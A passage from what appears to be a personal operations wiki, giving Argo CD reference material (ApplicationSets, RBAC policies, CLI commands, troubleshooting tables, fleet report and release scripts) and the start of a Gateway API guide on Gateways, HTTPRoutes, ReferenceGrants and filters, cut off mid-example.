health of its direct resources. ```yaml # argocd-cm ConfigMap; key format resource.customizations.health._ resource.customizations.health.example.com_Database: | hs = {} if obj.status ~= nil and obj.status.phase == "Ready" then hs.status = "Healthy" hs.message = "ready" else hs.status = "Progressing" hs.message = "waiting for status.phase=Ready" end return hs ``` ## ApplicationSet generators Each generator produces a list of parameter sets; the template is rendered once per set. Combining generators with `matrix` (cartesian product) and `merge` (join on a key) covers the usual "every app on every cluster" and "per-cluster overrides" cases without a second tool. ```yaml apiVersion: argoproj.io/v1alpha1 kind: ApplicationSet metadata: { name: platform-addons, namespace: argocd } spec: goTemplate: true goTemplateOptions: ["missingkey=error"] generators: - matrix: generators: - clusters: # one set per registered cluster with these labels selector: matchLabels: { env: prod } values: region: '{{index .metadata.labels "topology.kubernetes.io/region"}}' - list: elements: - { addon: cert-manager, chart: cert-manager, version: v1.18.2 } - { addon: external-dns, chart: external-dns, version: 1.19.0 } template: metadata: name: '{{.addon}}-{{.name}}' # .name is the cluster name from the clusters generator labels: { addon: '{{.addon}}', cluster: '{{.name}}' } spec: project: platform sources: - repoURL: https://charts.example.com chart: '{{.chart}}' targetRevision: '{{.version}}' helm: releaseName: '{{.addon}}' valueFiles: ['$values/addons/{{.addon}}/values.yaml', '$values/addons/{{.addon}}/{{.name}}.yaml'] ignoreMissingValueFiles: true - repoURL: https://github.com/example/infra.git targetRevision: main ref: values destination: { server: '{{.server}}', namespace: '{{.addon}}' } syncPolicy: automated: { prune: true, selfHeal: true } syncOptions: [CreateNamespace=true, ServerSideApply=true] templatePatch: | # per-set YAML merged over the template (2.10+) {{- if eq .addon "cert-manager" }} spec: syncPolicy: syncOptions: [CreateNamespace=true, ServerSideApply=true, Replace=true] {{- end }} ``` | Generator | Parameters produced | Typical use | | --- | --- | --- | | `list` | Elements written inline | Small fixed sets, bootstrapping | | `clusters` | Every cluster Secret matching a selector: `name`, `server`, `metadata.labels`, `metadata.annotations` | Fleet-wide add-ons | | `git` directories | One set per matching directory: `path.path`, `path.basename`, `path.segments` | Tenant or app folders | | `git` files | One set per matching file, with the file's YAML or JSON keys as parameters | `config.json` per environment | | `matrix` | Cartesian product of two generators | Apps x clusters | | `merge` | Join of generators on `mergeKeys`, later generators override earlier | Base list plus per-cluster overrides | | `scmProvider`, `pullRequest` | Repositories or open PRs from GitHub, GitLab, Gitea, Bitbucket, Azure DevOps | Review environments | | `plugin` | Output of an HTTP plugin | Inventory from an external system | ```sh argocd appset list argocd appset get platform-addons # generated Applications and conditions argocd appset generate platform-addons.yaml # render the Applications locally without creating anything (2.13+) kubectl get applicationset platform-addons -n argocd -o jsonpath='{.status.conditions}' | jq kubectl logs -n argocd deploy/argocd-applicationset-controller --tail 100 | grep -i error ``` The `clusters` generator only sees clusters registered as Secrets with the `argocd.argoproj.io/secret-type: cluster` label. The in-cluster destination has no such Secret by default, so it is skipped until one is created for `https://kubernetes.default.svc` with the labels the selector expects. Progressive syncs (`spec.strategy.type: RollingSync`) sync generated Applications in labelled steps and remain gated behind the `ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_PROGRESSIVE_SYNCS` environment variable. ## App of apps in practice The bootstrap Application points at a directory of Application (or ApplicationSet) manifests. Deleting the root with the finalizer cascades through every child; leave the finalizer off the root and on the children so a mistake removes the pointers, not the workloads. ```yaml apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: root namespace: argocd # no resources-finalizer here spec: project: default # the root creates Applications, which are cluster-scoped from Argo CD's point of view source: repoURL: https://github.com/example/infra.git targetRevision: main path: clusters/prod/apps # contains one Application manifest per component destination: { server: https://kubernetes.default.svc, namespace: argocd } syncPolicy: automated: { prune: true, selfHeal: true } syncOptions: [ApplyOutOfSyncOnly=true] ``` ```sh kubectl apply -n argocd -f clusters/prod/apps/root.yaml # the only manual apply a cluster should ever need argocd app sync root && argocd app wait root --health --timeout 300 argocd app list -o name | xargs -n1 -P4 argocd app wait --sync --health --timeout 900 # then every child ``` Give children a `sync-wave` when order matters (CRD-providing operators at `-2`, cluster add-ons at `-1`, workloads at `0`), since the root syncs its children in wave order and waits for each Application's health. The root itself must be allowed to create `Application` resources in the `argocd` namespace, which the `default` project permits and a restricted project must list under `namespaceResourceWhitelist`. Anything in the root's directory that is not an Application is applied too, which is a convenient place for AppProjects. ## Resource-level sync options Annotations on individual manifests override the Application's sync behaviour for that object. ```yaml metadata: annotations: argocd.argoproj.io/sync-options: Prune=false # never prune this object (PVCs, namespaces) argocd.argoproj.io/sync-options: Delete=false # keep it when the Application is deleted argocd.argoproj.io/sync-options: Replace=true # kubectl replace instead of apply (immutable fields, large objects) argocd.argoproj.io/sync-options: Force=true,Replace=true # delete and recreate; causes downtime argocd.argoproj.io/sync-options: SkipDryRunOnMissingResource=true # CR whose CRD arrives in the same sync argocd.argoproj.io/sync-options: Validate=false # skip kubectl schema validation argocd.argoproj.io/compare-options: IgnoreExtraneous # exists in the cluster, not in Git, do not report OutOfSync argocd.argoproj.io/hook: PostSync argocd.argoproj.io/hook-delete-policy: BeforeHookCreation # delete the previous hook run before creating the new one (default) ``` Several options go in one annotation separated by commas; repeating the key in YAML keeps only the last. `Replace=true` on a Deployment resets `status` and can trigger a rollout; `Force=true` deletes first and is for objects with immutable fields such as Jobs and some StatefulSet changes. `IgnoreExtraneous` is for objects other tools create inside a namespace Argo CD manages. ## RBAC Access is decided by Casbin policies in the `argocd-rbac-cm` ConfigMap plus per-project roles in AppProjects. Users come from the local accounts in `argocd-cm` or from SSO, whose group claims map to roles through `g` lines. `policy.default` applies to every authenticated user that no policy matches; set it to `role:readonly` or `''` (nothing) rather than leaving `role:admin`. ```yaml # argocd-rbac-cm data: policy.default: role:readonly scopes: '[groups, email]' # which OIDC claims the g lines match against policy.csv: | p, role:deployer, applications, get, platform/*, allow p, role:deployer, applications, sync, platform/*, allow p, role:deployer, applications, action/apps/Deployment/restart, platform/*, allow p, role:deployer, logs, get, platform/*, allow p, role:deployer, exec, create, platform/*, deny p, role:tenant-a, applications, *, tenant-a/*, allow p, role:tenant-a, applications, delete/*/Pod/*/*, tenant-a/*, allow # 3.0+: sub-resource permissions, here pod deletion only p, role:tenant-a, repositories, get, https://github.com/example/tenant-a.git, allow g, my-org:platform-team, role:deployer g, my-org:tenant-a-devs, role:tenant-a g, alice@example.com, role:admin ``` ```sh argocd account can-i sync applications 'platform/my-app' # what the logged-in identity may do argocd account can-i delete applications 'tenant-a/*' --as-user bob # impersonate (needs admin) argocd admin settings rbac validate --policy-file policy.csv # syntax check before applying argocd admin settings rbac can my-org:tenant-a-devs get applications 'tenant-a/web' --policy-file policy.csv --default-role role:readonly argocd proj role create tenants ci-deployer # project-scoped role for automation argocd proj role add-policy tenants ci-deployer -a sync -p allow -o '*' argocd proj role create-token tenants ci-deployer -e 720h # prints a JWT for that role; store it in the CI secret store argocd proj role list-tokens tenants ci-deployer ``` Objects in `policy.csv` are `/`; a policy on `*/*` spans projects. Application names are cluster-wide, so a tenant with `create` on `tenant-a/*` can still collide with names elsewhere unless AppProjects also constrain `sourceNamespaces`. The `exec` resource gates `argocd app exec`/terminal in the UI and should stay denied for anything but break-glass roles. Project role tokens are the right credential for CI: they can only touch the one project and expire. ## CLI operations ```sh argocd login argocd.example.com --sso --grpc-web # SSO through the browser; --grpc-web when behind a proxy that lacks HTTP/2 argocd login argocd.example.com --username admin --password "$ARGOCD_PASSWORD" # local account; prefer --sso or a project token argocd login argocd.example.com --auth-token "$ARGOCD_TOKEN" # CI with a project role token; ARGOCD_AUTH_TOKEN and ARGOCD_SERVER also work argocd context # switch between servers argocd version --short argocd app create my-app --repo https://github.com/example/infra.git --path clusters/prod/my-app --dest-server https://kubernetes.default.svc --dest-namespace my-namespace --project platform --sync-policy automated --self-heal --auto-prune argocd app set my-app --revision v1.5.0 # change targetRevision; use with disabled auto-sync for a controlled rollout argocd app set my-app --helm-set image.tag=1.5.0 --parameter foo=bar argocd app unset my-app --parameter image.tag argocd app patch my-app --type merge --patch '{"spec":{"syncPolicy":null}}' # disable automated sync argocd app sync my-app --async # return immediately; use app wait afterwards argocd app sync my-app --force --replace # replace instead of apply; downtime for some kinds argocd app sync my-app --apply-out-of-sync-only --prune argocd app sync -l team=payments --retry-limit 3 # by label, several apps argocd app wait my-app --operation # only until the current operation finishes argocd app resources my-app # every managed object with sync and health status argocd app resources my-app --orphaned # objects in the namespace that nothing manages (project must enable orphanedResources) argocd app logs my-app --kind Deployment --name my-app -f --tail 100 argocd app actions list my-app --kind Deployment argocd app actions run my-app restart --kind Deployment --resource-name my-app # rollout restart without kubectl access argocd app delete-resource my-app --kind Pod --resource-name my-app-7c9f-abcde # delete one live object (RBAC: delete/*/Pod/*/*) argocd app history my-app && argocd app rollback my-app 12 argocd app delete my-app --cascade=false # remove the Application, keep the workloads argocd cluster add my-context --name prod --label env=prod # creates a ServiceAccount and Secret; the cluster must be in the kubeconfig argocd cluster list argocd repo add https://github.com/example/infra.git --username git --password "$GIT_TOKEN" argocd repo add git@github.com:example/infra.git --ssh-private-key-path ~/.ssh/argocd_deploy argocd repocreds add https://github.com/example/ --username git --password "$GIT_TOKEN" # credential template for a whole org argocd proj list && argocd proj get platform argocd admin export > argocd-backup.yaml # Applications, AppProjects, repos, clusters, settings (contains secrets) argocd admin import - < argocd-backup.yaml argocd admin app get-reconcile-results --refresh --l team=payments reconcile.yaml # reconcile matching apps offline; writes sync and health per app to the file (note the double-dash --l) ``` `argocd app set` writes the Application spec, so the change is visible in Git-managed clusters as drift on the Application object itself if the Application is managed by an app-of-apps; use it for break-glass and put the real change in Git. `argocd cluster add` needs cluster-admin on the target and installs an `argocd-manager` ServiceAccount with cluster-admin; for a least-privilege registration, create the ServiceAccount and Secret by hand with a narrower ClusterRole. ## Troubleshooting | Symptom | Cause | Check or fix | | --- | --- | --- | | ApplicationSet creates no Applications | Generator matched nothing: cluster selector, git path glob, or `goTemplate` render error | `kubectl get applicationset X -o jsonpath='{.status.conditions}'`; controller logs | | `ErrApplicationNotAllowedToUseProject` on generated apps | Template's `project` does not permit the destination or repository | `argocd proj get`; add the destination and repo | | ApplicationSet deleted its Applications and their workloads | Directory removed or generator changed with `applicationsSync: sync` and finalizers on children | Set `applicationsSync: create-update` or `preserveResourcesOnDeletion: true` for tenant sets | | `templatePatch` ignored | `goTemplate: false`, or patch YAML invalid | `goTemplate: true`; `argocd appset generate` to test | | Hook Job fails every second sync with `AlreadyExists` | `hook-delete-policy` missing and `generateName` not used | `BeforeHookCreation` (default in recent versions) or `HookSucceeded`; or use `generateName` | | `error validating data ... unknown field` on sync | CRD not installed yet, or schema changed | `SkipDryRunOnMissingResource=true` on the CR, CRDs in an earlier wave; or `Validate=false` | | `the object has been modified; please apply your changes` | Another controller updating the object during apply | Retry; `ServerSideApply=true` for shared objects | | `PermissionDenied` for a user who is in the right group | `scopes` does not include the claim, or the group name differs (case, prefix) | `argocd account get-user-info` shows the groups Argo CD sees | | Project role token rejected | Token expired, role was recreated (new JWT issued-at), or its policy lacks the action | `argocd proj role get PROJECT ROLE` lists policies and token IDs; issue a new token | | `argocd login` fails with `transport: authentication handshake failed` | Ingress terminates TLS and does not forward gRPC | `--grpc-web`, or configure the ingress for gRPC | | Controller CPU high, syncs slow | Too many Applications per controller shard, or a huge cluster | `argocd_app_reconcile` histogram on the controller's metrics port (8082); increase controller replicas and set `ARGOCD_CONTROLLER_REPLICAS` for sharding | | `argocd app diff` exit 1 in CI but the UI shows Synced | `diff` reports changes from local rendering or ignoreDifferences not applied to `--local` | Use `argocd app diff --server-side-generate`, and compare `--revision` instead of `--local` | | Application stuck `Deleting` | Finalizer waiting on a resource that cannot be deleted (finalizers on a PVC or CR, missing CRD) | `kubectl get -n ns -o jsonpath='{.metadata.finalizers}'`; remove those first, then the Application's finalizer as a last resort | ## Oneliners ```sh # Every Application that is not synced or not healthy argocd app list -o json | jq -r '.[] | select(.status.sync.status!="Synced" or .status.health.status!="Healthy") | [.metadata.name, .status.sync.status, .status.health.status] | @tsv' # The same without the CLI kubectl get applications -n argocd -o custom-columns='NAME:.metadata.name,SYNC:.status.sync.status,HEALTH:.status.health.status' # Which commit each Application is running kubectl get applications -n argocd -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.sync.revision}{"\n"}{end}' # Sync every Application in a project, four at a time argocd app list -p platform -o name | xargs -n1 -P4 argocd app sync # Applications with automated sync off kubectl get applications -n argocd -o json | jq -r '.items[] | select(.spec.syncPolicy.automated==null) | .metadata.name' # Hard refresh every Application after a repository credential change kubectl get applications -n argocd -o name | xargs -I{} kubectl annotate {} -n argocd argocd.argoproj.io/refresh=hard --overwrite # Follow the controller for one Application kubectl logs -n argocd statefulset/argocd-application-controller -f | grep -E 'my-app|error' # Initial admin password (prints a credential; rotate it and delete the Secret after first login) kubectl get secret argocd-initial-admin-secret -n argocd -o jsonpath='{.data.password}' | base64 -d # Applications by project with sync and health, as a table argocd app list -o json | jq -r '.[] | [.spec.project, .metadata.name, .status.sync.status, .status.health.status, .spec.source.targetRevision // .spec.sources[0].targetRevision] | @tsv' | column -t # Applications whose last operation failed, with the message kubectl get applications -A -o json | jq -r '.items[] | select(.status.operationState.phase == "Failed" or .status.operationState.phase == "Error") | "\(.metadata.name)\t\(.status.operationState.message | .[0:120])"' # Applications that have not been reconciled in the last 10 minutes (controller stuck or sharded away) kubectl get applications -n argocd -o json | jq -r --arg t "$(date -u -d '10 minutes ago' +%FT%TZ)" '.items[] | select(.status.reconciledAt < $t) | "\(.metadata.name) \(.status.reconciledAt)"' # Which resources inside an Application are OutOfSync kubectl get application my-app -n argocd -o json | jq -r '.status.resources[] | select(.status == "OutOfSync") | "\(.kind)/\(.name) \(.namespace // "-")"' # Which resources are unhealthy, with the health message kubectl get application my-app -n argocd -o json | jq -r '.status.resources[] | select(.health.status != null and .health.status != "Healthy") | "\(.kind)/\(.name): \(.health.status) \(.health.message // "")"' # Applications pointing at a branch instead of a tag or SHA kubectl get applications -A -o json | jq -r '.items[] | select((.spec.source.targetRevision // .spec.sources[0].targetRevision) | test("^(main|master|develop|HEAD)$")) | .metadata.name' # Applications without selfHeal, or without prune kubectl get applications -A -o json | jq -r '.items[] | select(.spec.syncPolicy.automated.selfHeal != true) | .metadata.name' # Applications in the default project (should be none in a multi-tenant install) kubectl get applications -A -o json | jq -r '.items[] | select(.spec.project == "default") | .metadata.name' # Disable automated sync on every Application in a project before maintenance (re-enable from Git afterwards) argocd app list -p platform -o name | xargs -n1 -I{} argocd app patch {} --type merge --patch '{"spec":{"syncPolicy":{"automated":null}}}' # Refresh (soft) every Application, staggered so the repo server is not flooded kubectl get applications -n argocd -o name | while read -r a; do kubectl annotate "$a" -n argocd argocd.argoproj.io/refresh=normal --overwrite; sleep 0.5; done # Sync all OutOfSync Applications in a project and wait for them argocd app list -p platform -o json | jq -r '.[] | select(.status.sync.status == "OutOfSync") | .metadata.name' | xargs -n1 -P4 -I{} sh -c 'argocd app sync {} --async && argocd app wait {} --sync --health --timeout 600' # Diff what a Git revision would deploy against live, without touching the Application argocd app diff my-app --revision feature-branch # Render the manifests for a revision to a file for review argocd app manifests my-app --revision v1.5.0 > /tmp/my-app-v1.5.0.yaml # Applications and the clusters they target, counted per cluster kubectl get applications -A -o json | jq -r '.items[].spec.destination | .name // .server' | sort | uniq -c | sort -rn # Registered clusters with connection state argocd cluster list -o json | jq -r '.[] | [.name, .server, .connectionState.status, (.info.serverVersion // "-")] | @tsv' # Repositories whose connection failed argocd repo list -o json | jq -r '.[] | select(.connectionState.status != "Successful") | "\(.repo) \(.connectionState.message)"' # Who can sync what: dump the effective RBAC policy kubectl get cm argocd-rbac-cm -n argocd -o jsonpath='{.data.policy\.csv}' # Groups Argo CD sees for the logged-in user (SSO debugging) argocd account get-user-info # Roll a Deployment inside an Application without kubectl access to the cluster argocd app actions run my-app restart --kind Deployment --resource-name my-app # Terminate every stuck operation in a project argocd app list -p platform -o json | jq -r '.[] | select(.status.operationState.phase == "Running") | .metadata.name' | xargs -n1 argocd app terminate-op # Server-side rendered diff, matching what the controller computes argocd app diff my-app --server-side-generate # Recent sync events across all Applications kubectl get events -n argocd --field-selector reason=OperationCompleted --sort-by=.lastTimestamp | tail -20 ``` ## Scripts Fleet status report: every Application with sync, health, revision, age of the last reconciliation and the last operation's result, sorted with the broken ones first. Read-only; uses `kubectl` only, so it works without `argocd login`. ```sh #!/usr/bin/env bash # usage: argocd-report.sh [namespace] default argocd set -euo pipefail ns=${1:-argocd} now=$(date +%s) kubectl get applications -n "$ns" -o json | jq -r --argjson now "$now" ' .items[] | {name: .metadata.name, project: .spec.project, sync: (.status.sync.status // "Unknown"), health: (.status.health.status // "Unknown"), rev: ((.status.sync.revision // "-") | .[0:8]), age_m: (if .status.reconciledAt then (($now - (.status.reconciledAt | sub("\\.[0-9]+"; "") | fromdate)) / 60 | floor) else -1 end), op: (.status.operationState.phase // "-")} | [(if .sync != "Synced" or .health != "Healthy" or (.op | IN("Failed", "Error")) then 0 else 1 end), .project, .name, .sync, .health, .rev, (.age_m | tostring) + "m", .op] | @tsv' \ | sort -k1,1n -k2,2 -k3,3 | cut -f2- \ | { printf 'PROJECT\tNAME\tSYNC\tHEALTH\tREVISION\tRECONCILED\tLAST-OP\n'; cat; } | column -t -s $'\t' bad=$(kubectl get applications -n "$ns" -o json | jq '[.items[] | select((.status.sync.status // "") != "Synced" or (.status.health.status // "") != "Healthy")] | length') printf '\n%s Applications need attention\n' "$bad" (( bad == 0 )) ``` Controlled release: pin an Application to a new Git revision with automated sync disabled, sync it, wait for health, and restore the previous revision on failure. Suited to a CI job that holds a project role token. ```sh #!/usr/bin/env bash # usage: argocd-release.sh APP REVISION (ARGOCD_SERVER and ARGOCD_AUTH_TOKEN in the environment) set -euo pipefail app=${1:?application} rev=${2:?revision} timeout=${TIMEOUT:-600} prev=$(argocd app get "$app" -o json | jq -r '.spec.source.targetRevision') auto=$(argocd app get "$app" -o json | jq -c '.spec.syncPolicy.automated // null') restore() { printf 'restoring %s to %s\n' "$app" "$prev" >&2 argocd app set "$app" --revision "$prev" argocd app sync "$app" --async >/dev/null || true if [[ $auto != null ]]; then argocd app patch "$app" --type merge --patch "{\"spec\":{\"syncPolicy\":{\"automated\":$auto}}}" >/dev/null; fi } [[ $auto != null ]] && argocd app patch "$app" --type merge --patch '{"spec":{"syncPolicy":{"automated":null}}}' >/dev/null argocd app set "$app" --revision "$rev" argocd app diff "$app" --revision "$rev" || true # exit 1 when there is a diff; shown for the log if argocd app sync "$app" --timeout "$timeout" --retry-limit 2 && argocd app wait "$app" --sync --health --timeout "$timeout"; then [[ $auto != null ]] && argocd app patch "$app" --type merge --patch "{\"spec\":{\"syncPolicy\":{\"automated\":$auto}}}" >/dev/null printf 'released %s at %s\n' "$app" "$rev" exit 0 fi argocd app get "$app" | sed -n '/^GROUP/,$p' >&2 restore exit 1 ``` Orphan and drift audit: for every Application, list live resources that are OutOfSync and, where the project enables orphaned resource monitoring, objects in the namespace that no Application manages. Read-only. ```sh #!/usr/bin/env bash # usage: argocd-audit.sh [project] set -euo pipefail proj=${1:-} args=(-o name); [[ -n $proj ]] && args+=(-p "$proj") rc=0 for app in $(argocd app list "${args[@]}"); do app=${app#argocd/} oos=$(argocd app resources "$app" 2>/dev/null | awk 'NR > 1 && $5 == "OutOfSync" {print $2 "/" $4}' | paste -sd, -) orphans=$(argocd app resources "$app" --orphaned 2>/dev/null | awk 'NR > 1 {print $2 "/" $4}' | paste -sd, -) if [[ -n $oos || -n $orphans ]]; then printf '%s\n' "$app" [[ -n $oos ]] && printf ' out of sync: %s\n' "$oos" [[ -n $orphans ]] && printf ' orphaned: %s\n' "$orphans" rc=1 fi done exit "$rc" ``` > [!WARNING] Removing the resources finalizer > `kubectl patch application my-app -n argocd --type json -p '[{"op":"remove","path":"/metadata/finalizers"}]'` lets a stuck Application delete without cascading. Its resources stay in the cluster, unmanaged. Use it only when the cascade itself is failing and you will clean up the resources yourself. ## Further reading - [Argo CD documentation](https://argo-cd.readthedocs.io/en/stable/): user guide, operator manual and CLI reference. - [Sync options](https://argo-cd.readthedocs.io/en/stable/user-guide/sync-options/) and [sync phases and waves](https://argo-cd.readthedocs.io/en/stable/user-guide/sync-waves/): every option, annotation and ordering rule. - [ApplicationSet generators](https://argo-cd.readthedocs.io/en/stable/operator-manual/applicationset/Generators/): parameters each generator exposes, `matrix`, `merge` and progressive syncs. - [RBAC configuration](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/): resources, actions, sub-resource syntax and policy testing commands. - [Resource health](https://argo-cd.readthedocs.io/en/stable/operator-manual/health/): built-in checks and writing Lua health scripts. - [argocd CLI reference](https://argo-cd.readthedocs.io/en/stable/user-guide/commands/argocd/): every command and flag. --- # Gateway API > Configure GatewayClass, Gateway and Route objects, know which team owns each, and find why a route receives no traffic. Canonical: https://www.wiki.jodisand.me/gateway-api/ Reviewed: 2026-09-24 Related: [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [Cilium](https://www.wiki.jodisand.me/cilium/index.md), [TLS and certificates](https://www.wiki.jodisand.me/tls/index.md), [HTTP and curl](https://www.wiki.jodisand.me/http/index.md), [Traefik](https://www.wiki.jodisand.me/traefik/index.md) ## Cheatsheet Written against Gateway API v1.6 (standard channel). Every implementation (Envoy Gateway, [Cilium](https://www.wiki.jodisand.me/cilium/), Istio, NGINX Gateway Fabric, [Traefik](https://www.wiki.jodisand.me/traefik/) and others) reads the same objects; controller names and log locations differ. | Task | Command | | --- | --- | | Installed API version | `kubectl get crd gateways.gateway.networking.k8s.io -o jsonpath='{.metadata.annotations.gateway\.networking\.k8s\.io/bundle-version}'` | | Which classes exist, and are they accepted | `kubectl get gatewayclass` | | Is the Gateway programmed, what address | `kubectl get gateway -A` | | Why not | `kubectl describe gateway web -n infra` | | Routes and hostnames | `kubectl get httproute -A` | | Route attachment status | `kubectl get httproute my-app -n my-namespace -o jsonpath='{.status.parents}' \| jq` | | Listener address | `kubectl get gateway web -n infra -o jsonpath='{.status.addresses[0].value}'` | | Backends behind a route | `kubectl get endpointslice -n my-namespace -l kubernetes.io/service-name=my-app` | | Test a host without DNS | `curl -H 'Host: app.example.com' http:///` | | Cross-namespace permissions | `kubectl get referencegrant -A` | | Controller logs (Envoy Gateway example) | `kubectl logs -n envoy-gateway-system deploy/envoy-gateway` | ## A route that is not receiving traffic Traffic needs three things to line up. The Gateway has an address and reports `Programmed=True`. The Route reports `Accepted=True` and `ResolvedRefs=True` on the parent it asked for. The backend Service has ready endpoints. Every failure is one of those three. ```sh kubectl get gateway -A # PROGRAMMED column and ADDRESS kubectl get httproute -A kubectl describe httproute my-app -n my-namespace | sed -n '/Status:/,$p' kubectl get endpointslice -n my-namespace -l kubernetes.io/service-name=my-app ``` | Condition (reason) | Meaning | | --- | --- | | GatewayClass `Accepted=False` | No controller claims this `controllerName`, or its parameters are invalid | | Gateway `Accepted=False` | The controller rejected the spec: unsupported protocol, port or address | | Gateway `Programmed=False` (`AddressNotAssigned`) | Accepted, but the dataplane or load balancer is not ready yet | | Listener `Conflicted=True` (`HostnameConflict`, `ProtocolConflict`) | Two listeners on one port clash; the conflicting listener is not served | | Listener `ResolvedRefs=False` (`InvalidCertificateRef`) | TLS Secret missing, malformed, or in another namespace without a ReferenceGrant | | Route `Accepted=False` (`NotAllowedByListeners`) | The listener's `allowedRoutes` does not admit this namespace or kind | | Route `Accepted=False` (`NoMatchingListenerHostname`) | Route `hostnames` do not intersect the listener `hostname` | | Route `Accepted=False` (`NoMatchingParent`) | `sectionName` or `port` in `parentRefs` matches no listener | | Route `ResolvedRefs=False` (`BackendNotFound`) | Backend Service missing or wrong port | | Route `ResolvedRefs=False` (`RefNotPermitted`) | Cross-namespace backend without a ReferenceGrant | | Route `PartiallyInvalid=True` | Some rules are invalid and dropped, the rest are served | | All conditions true, still 503 or 500 | No ready endpoints behind the Service, or the backend is refusing connections | | All conditions true, 404 | No rule matched the request path, method or headers | A route with no `status.parents` at all has not been seen by any controller. Check that `parentRefs` names an existing Gateway and that its GatewayClass is accepted. ## The resource model | Resource | Owned by | Purpose | | --- | --- | --- | | `GatewayClass` | Infrastructure provider | Names the controller implementation; cluster-scoped | | `Gateway` | Platform team | Listeners, ports, TLS certificates, which routes may attach | | `ListenerSet` | Application or platform team | Adds listeners to an existing Gateway from another namespace (standard since v1.5) | | `HTTPRoute`, `GRPCRoute` | Application team | L7 matching and forwarding, in the application's namespace | | `TLSRoute`, `TCPRoute`, `UDPRoute` | Application team | SNI or port-based forwarding (TLSRoute standard since v1.5, TCP and UDP since v1.6) | | `ReferenceGrant` | Owner of the namespace being referenced | Permission for a cross-namespace reference | | `BackendTLSPolicy` | Service owner | TLS from the gateway to the backend (standard since v1.4) | The split is the point. The platform team owns certificates and public addresses, application teams own their own routing, and neither needs write access to the other's namespace. Gateway API is a set of CRDs, not part of core Kubernetes. Install the CRD bundle your implementation supports. From v1.5, a ValidatingAdmissionPolicy named `safe-upgrades.gateway.networking.k8s.io` blocks installing experimental CRDs over standard ones and downgrading below v1.5. ## A Gateway ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: web namespace: infra spec: gatewayClassName: my-gateway-class listeners: - name: https protocol: HTTPS port: 443 hostname: "*.example.com" tls: mode: Terminate certificateRefs: - { kind: Secret, name: wildcard-example-com } # same namespace as the Gateway allowedRoutes: namespaces: from: Selector selector: matchLabels: { gateway-access: "true" } - name: http protocol: HTTP port: 80 hostname: "*.example.com" ``` `allowedRoutes.namespaces.from` defaults to `Same`, so routes in other namespaces are rejected with `NotAllowedByListeners` until it is set to `Selector` or `All`. Each listener reports `status.listeners[].attachedRoutes`, the fastest confirmation that attachment worked. For certificate handling, see [TLS](https://www.wiki.jodisand.me/tls/). ## An HTTPRoute ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: my-app namespace: my-namespace spec: parentRefs: - { name: web, namespace: infra, sectionName: https } hostnames: ["app.example.com"] rules: - matches: - path: { type: PathPrefix, value: /v2 } backendRefs: - { name: my-app-v2, port: 80, weight: 90 } - { name: my-app-canary, port: 80, weight: 10 } - matches: - path: { type: Exact, value: /healthz } backendRefs: [{ name: my-app, port: 80 }] timeouts: { request: 2s } # extended support; check your implementation - matches: - headers: [{ name: x-beta, value: "true" }] backendRefs: [{ name: my-app-beta, port: 80 }] ``` Across every route attached to a listener, matches take precedence in this order: an `Exact` path, then the longest `PathPrefix`, then a method match, then the most header matches, then the most query parameter matches. Remaining ties go to the oldest route, then alphabetical `namespace/name`, then the first matching rule in list order. A request that matches nothing returns 404. `RegularExpression` path precedence is implementation-specific. Weights split traffic proportionally across the backends of one rule. That is the whole canary mechanism: no extra CRD, no sidecar. A weight of `0` drains a backend without removing it. If one backend in a weighted rule is invalid, its share of requests gets a 500. ## Cross-namespace references A Route may reference a Service in another namespace, and a Gateway may reference a certificate Secret in another namespace, only if that namespace contains a ReferenceGrant. The grant lives with the resource being referenced, so the owner of the data decides. Attaching a Route to a Gateway in another namespace is controlled by the listener's `allowedRoutes` instead. ```yaml apiVersion: gateway.networking.k8s.io/v1 # v1 since Gateway API v1.5; use v1beta1 on older CRDs kind: ReferenceGrant metadata: name: allow-my-namespace-routes namespace: shared spec: from: - { group: gateway.networking.k8s.io, kind: HTTPRoute, namespace: my-namespace } to: - { group: "", kind: Service, name: shared-api } ``` A missing grant shows as `ResolvedRefs=False` with reason `RefNotPermitted`, not as a 404. ## Filters Filters modify requests or responses for the rule they sit in. Implementations should apply them in the order listed. `URLRewrite` and `RequestRedirect` cannot share a rule, `RequestRedirect` cannot be combined with `backendRefs`, and most filter types may appear only once per rule. ```yaml rules: - matches: [{ path: { type: PathPrefix, value: /api } }] filters: - type: RequestHeaderModifier requestHeaderModifier: set: [{ name: x-env, value: prod }] remove: ["x-internal"] - type: URLRewrite urlRewrite: path: { type: ReplacePrefixMatch, replacePrefixMatch: / } # /api/users -> /users - type: RequestMirror requestMirror: backendRef: { name: my-app-shadow, port: 80 } percent: 10 # mirror 10% of requests backendRefs: [{ name: my-app, port: 80 }] --- # HTTP to HTTPS redirect: a separate route attached to the port 80 listener, with no backendRefs apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: { name: https-redirect, namespace: infra } spec: parentRefs: [{ name: web, sectionName: http }] rules: - filters: - type: RequestRedirect requestRedirect: { scheme: https, statusCode: 301 } ``` `RequestMirror` sends a copy of each request and discards the response, which suits shadow-testing a new version under real load. Mirrored writes still happen, so point it only at backends that are safe to receive duplicate traffic. The `CORS` filter is standard since v1.5. | Filter type | Level | What it does | | --- | --- | --- | | `RequestHeaderModifier` | Core | `set`, `add`, `remove` request headers before forwarding | | `ResponseHeaderModifier` | Core | Same operations on the response | | `RequestRedirect` | Core | Return a 301/302 with a new `scheme`, `hostname`, `port` or `path`; no backend is contacted | | `URLRewrite` | Extended | Change `hostname` or `path` (`ReplaceFullPath`, `ReplacePrefixMatch`) before forwarding | | `RequestMirror` | Extended | Copy requests to another backend; `percent` or `fraction` limits the share | | `CORS` | Extended | Preflight handling and `Access-Control-*` headers at the gateway | | `ExtensionRef` | Implementation-specific | Reference a controller's own CRD, for example a Traefik `Middleware` or Envoy Gateway policy | A filter can also sit inside a single `backendRefs[]` entry, in which case it applies only to requests sent to that backend. That is how you add an `x-canary: true` header for the canary half of a weighted split without touching the stable half. ## Matching in detail A rule's `matches` list is a logical OR; the fields inside one match are ANDed. A rule with no `matches` matches every request on the hostname. ```yaml rules: - matches: - path: { type: PathPrefix, value: /api } method: GET # standard HTTP method names, upper case queryParams: [{ name: version, value: "2" }] # Exact by default - path: { type: RegularExpression, value: "^/v[0-9]+/users/[0-9]+$" } # 